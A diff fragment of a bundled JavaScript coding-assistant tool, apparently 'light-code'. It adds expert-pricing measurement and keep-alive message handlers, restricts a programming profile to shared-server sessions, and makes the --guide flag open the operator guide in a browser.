+        expert: { ...current.expert, pricing, reportsCost }
+      });
+      logger.info(reportsCost ? `expert pricing measured: cold ${String(cold)} / resumed ${String(resumed)}` : "expert pricing measured: this plan reports no cost per consultation");
+    } catch (error51) {
+      post({ type: "error", message: `Could not measure the expert's cost: ${String(error51)}` });
+    } finally {
+      measuringStep = void 0;
+      await postExpert({ redetect: false });
+    }
+  }
   async function handleAssessJunior() {
     if (assessmentStep !== void 0)
       return;
@@ -65227,6 +65625,8 @@ function wireChatBridge(services) {
     }
   }
   function codeGeneratorFor(config2) {
+    if (services.allowProgrammingProfile !== true)
+      return void 0;
     const id = config2.programmingProfileId;
     if (id === void 0 || id.length === 0)
       return void 0;
@@ -65258,7 +65658,7 @@ function wireChatBridge(services) {
       accentColor: cachedAccentColor,
       expertColor: cachedExpertColor,
       readRoots: cachedReadRoots,
-      ...guideCapability()
+      ...hostCapabilities()
     });
   }
   async function handleAlwaysAllow(id, scope) {
@@ -65661,6 +66061,21 @@ function wireChatBridge(services) {
         ...message.maxConsultations !== void 0 ? { maxConsultations: message.maxConsultations } : {}
       };
       postExpertSpend();
+    } else if (message.type === "setExpertKeepAlive") {
+      void configManager.load().then(async ({ config: config2 }) => {
+        await configManager.save("user", { ...config2, expert: { ...config2.expert, keepAlive: message.enabled } });
+        await postExpert({ redetect: false });
+      }).catch((error51) => post({ type: "error", message: String(error51) }));
+    } else if (message.type === "measureExpertCost") {
+      void handleMeasureExpertCost();
+    } else if (message.type === "clearExpertPricing") {
+      void configManager.load().then(async ({ config: config2 }) => {
+        const expert = { ...config2.expert };
+        delete expert.pricing;
+        delete expert.reportsCost;
+        await configManager.save("user", { ...config2, expert });
+        await postExpert({ redetect: false });
+      }).catch((error51) => post({ type: "error", message: String(error51) }));
     } else if (message.type === "assessJunior") {
       void handleAssessJunior();
     } else if (message.type === "clearAssessment") {
@@ -66130,6 +66545,7 @@ ${entry.content}`);
         clearTimeout(docsReindexTimer);
       if (scheduleTimer !== void 0)
         clearInterval(scheduleTimer);
+      stopKeepAlive();
       unsubscribe();
     }
   };
@@ -66728,10 +67144,10 @@ function readSmall(raw, params) {
   const end = params.limit !== void 0 ? start + params.limit : lines.length;
   return number4(lines.slice(start, end), start + 1);
 }
-async function readLarge(fs23, realPath, params, size) {
+async function readLarge(fs24, realPath, params, size) {
   const human = formatBytes(size);
   if (params.tail !== void 0) {
-    const part = await readTail(fs23, realPath, size, params.tail);
+    const part = await readTail(fs24, realPath, size, params.tail);
     return [
       `${human} file \u2014 last ${String(part.lines.length)} lines.`,
       /*
@@ -66746,7 +67162,7 @@ async function readLarge(fs23, realPath, params, size) {
   }
   if (params.offset !== void 0) {
     const limit = params.limit ?? DEFAULT_LARGE_LIMIT;
-    const part = await readLineWindow(fs23, realPath, size, params.offset, limit);
+    const part = await readLineWindow(fs24, realPath, size, params.offset, limit);
     const shown = part.lines.length;
     return [
       `${human} file \u2014 lines ${String(params.offset)}\u2013${String(params.offset + shown - 1)}${part.hasMoreAfter ? ", more follows" : " (end of file)"}.`,
@@ -66754,7 +67170,7 @@ async function readLarge(fs23, realPath, params, size) {
       number4(part.lines, params.offset)
     ].join("\n");
   }
-  const total = await countLines(fs23, realPath, size);
+  const total = await countLines(fs24, realPath, size);
   return [
     `${realPathName(realPath)} is ${human} (${total.toLocaleString()} lines) \u2014 too large to read at once.`,
     "",
@@ -67534,6 +67950,12 @@ async function createSession(options) {
      * also survives whatever port the server happened to bind.
      */
     guideMediaBase: "/guide",
+    /*
+     * Offered here and nowhere else. A shared server is where "a cheap model chats, a good one
+     * writes the code" is worth configuring — and where an administrator can set a default for
+     * people who have not chosen.
+     */
+    allowProgrammingProfile: true,
     ...options.submitForReview !== void 0 ? { submitForReview: options.submitForReview } : {},
     /*
      * Resolved per read, so both halves stay live — an administrator's edit and the user's own
@@ -67947,8 +68369,17 @@ async function main() {
     return;
   }
   if (args.includes("--guide")) {
-    process.stdout.write(renderGuide(process.stdout.isTTY === true));
-    process.stdout.write("\n");
+    if (args.includes("--no-open")) {
+      process.stdout.write(renderGuide(process.stdout.isTTY === true));
+      process.stdout.write("\n");
+      return;
+    }
+    const file2 = path28.join(os2.tmpdir(), "light-code-guide.html");
+    await fs23.writeFile(file2, guidePage(OPERATOR_GUIDE), "utf8");
+    process.stdout.write(`Opening the guide: ${file2}
+(--guide --no-open prints it instead.)
+`);
+    openBrowser(pathToFileURL(file2).href);
     return;
   }
   const unknown2 = args.filter((arg) => arg.startsWith("--") && !KNOWN_FLAGS.has(arg));
@@ -68127,9 +68558,9 @@ Usage: light-code [options]
                       refused, which is the safe direction to fail
   --user-header <h>   Header carrying the user id (default X-Forwarded-User)
   --bind <address>    Interface to listen on (default: 127.0.0.1)
-  --guide             Print the operator guide \u2014 setting up shared mode,
-                      who can change what, and what it does not protect
-                      against. Pipe it into a pager for comfort
+  --guide             Open the operator guide in your browser \u2014 setting up
+                      shared mode, who can change what, and what it does not
+                      protect against. Add --no-open to print it instead
   -h, --help          This message
 
 Binds 127.0.0.1 unless --bind says otherwise. Anything that can reach the port